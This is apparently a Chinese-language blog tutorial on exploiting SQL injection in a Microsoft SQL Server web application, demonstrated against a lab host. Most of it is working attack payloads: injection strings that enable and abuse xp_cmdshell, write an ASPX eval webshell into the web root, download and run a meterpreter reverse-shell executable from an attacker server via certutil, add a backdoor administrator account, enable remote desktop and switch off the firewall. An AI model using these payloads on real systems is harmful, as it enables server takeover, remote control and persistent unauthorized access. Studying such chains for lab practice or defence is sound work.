MSSQL注入探测

MSSQL权限划分

三个权限:sysadmindb_ownerpublic

1
2
3
sysadmin:可以执行所有操作
db_owner:可以执行数据库操作
public:只能执行查询操作

判断注入

注入点:http://192.168.159.135:8080/post.aspx

图片

加了一个单引号报错:

图片

存在注入,而且网站路径为: c:\Inetpub\mssql-sql\post.aspx

判断是否是MSSQL

1
admin' and exists (select * from sysobjects)  and '1'='1

图片

判断MSSQL版本

1
admin' and 1=(select @@VERSION)  and '1'='1

图片

判断当前数据库名

1
admin' And 1=(select db_name())  and '1'='1

图片

判断是否是系统管理员权限sa

1
admin' and 1=(select IS_SRVROLEMEMBER('sysadmin'))  and '1'='1

图片

xp_cmdshell执行命令

1
admin' ;exec master..xp_cmdshell "ipconfig" --

图片

虽然系统执行了,但是系统没回显给我们!这是为什么呢?

是因为我们只能执行命令后吧结果保存到一张表里,然后我们通过sql语句来查询这条表才能看到执行的命令结果!

我们在MSSQL客户端是可以执行回显的:

图片

写webshell

低权限也可以写webshell,只要是写权限就可以

1
2
有回显:有回显那么我们直接就可以找到webshell的路径
无回显:无回显就只能瞎鸡巴乱懵,看网站存放文件的规则然后Fuzz

因为我们是一个sa的高权限了,我们就可以让它执行一些其他命令来反弹shell或者说是写一个webshell到网站服务器里!

之前我们得到网站的绝对路径是 c:\Inetpub\mssql-sql\post.aspx ,下面这条语句就可以写文件进去了,我们先随便写一段话进去:

1
admin' ;exec master..xp_cmdshell "echo saulGoodman>c:\Inetpub\mssql-sql\1.txt" --

图片

图片

上帝视角看看:

图片

由上图可见,我们成功写入 saulGoodman 内容到了1.txt里!

小技巧:如何判断它是能执行命令的呢?

我们可以执行这条命令让他去ping 网站10次:

1
admin' ;exec master..xp_cmdshell "ping -n 10 www.saulgoodman.cn" --

图片

ping -n 10 www.saulgoodman.cn ,这条命令的意思是使用ping命令去像www.saulgoodman.cn去发送10条数据包!如果网站延迟了10秒左右说明我们的命令是可以执行的!

如果没有执行的话,说明它没有开启xp_cmdshell,那么我们可以使用下面的语句去开启他:

1
2
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
关闭的话就吧1修改为0

写一句话

aspx 一句话木马:

1
<% @Page Language="Jscript"%><%eval(Request.Item["saul"],"unsafe");%>

写入语句:

1
2
admin' ;exec master..xp_cmdshell 'echo ^<^%^@Page Language=^"^Jscript^"^%^>^<^%^eval(Request.Item^[^"saul^"^]^,^"unsafe^")^;^%^>>c:\Inetpub\mssql-sql\1.aspx'--
注意!如果echo 里面的字符有引号和其他符号,那么我们就要在引号前面加一个 ^ 来转义它!记得用单引号包裹里面的一句话!

图片

上帝视角看看:

图片

由上图可见,我们成功写入到了网站根目录!

蚁剑连接成功:

图片

图片

这样我们就通过注入点来拿到了一个Webshell!

下载执行反向远程控制服务端(木马)

首先要让对方下载我们的恶意文件,那么我们需要有一个服务端,用python开启一个服务端:

1
python -m SimpleHTTPServer 9000

图片

有了服务端,然后我们在KALI上生成一个反向木马:

1
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.159.128 lport=8888 -f exe >8888.exe

图片

这个时候我们的木马地址就是:http://192.168.159.128:9000/8888.exe

最后MSF开启监听等待肉鸡上线:

图片

准备工作完成后,我们就可以在注入点上去执行这条命令:(只能2008以上,2003测试失败)

1
2
3
4
原命令:
certutil -urlcache -split -f http://192.168.159.128:9000/8888.exe 8888.exe
加上注入语句:
admin' ;exec master..xp_cmdshell "certutil -urlcache -split -f http://192.168.159.128:9000/8888.exe 8888.exe" --

图片

然后我们执行:

1
admin' ;exec master..xp_cmdshell "8888.exe" --

图片

图片

或者还可以一条命令完成:

1
admin' ;exec master..xp_cmdshell "certutil -urlcache -split -f http://192.168.159.128:9000/8888.exe 8888.exe &&8888.exe" --

图片

成功上线!

添加用户

PS:当前权限是有添加用户的权限,需要administratorsystem

1
2
3
4
添加用户 saul 并提升为管理员组:
net user saul saul123... /add && net localgroup administrators saul /add
添加 saul 为远程桌面组(有的时候需要添加到远程桌面组才能登陆3308):
net localgroup "Remote Management Users" saul /add
1
admin' ;exec master..xp_cmdshell "net user saul saul123... /add&net localgroup administrators saul /add"--

图片

上帝视角看看:

图片

登陆远程桌面:mstsc

图片

可以看到登陆成功!

PS:如果登陆之后我们需要吧用户注销!不然用户还是在登陆状态中的!

图片

完成了一些后渗透操作记得要把用户删除

1
net user saul /del

那么还有一种情况是目标没有开3389又或者是开启了防火墙

那么就可以执行命令让他开3389

1
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

关闭防火墙命令(慎用):

1
netsh advfirewall set allprofiles state off

微信公众号

公众号:saulGoodman

saulGoodman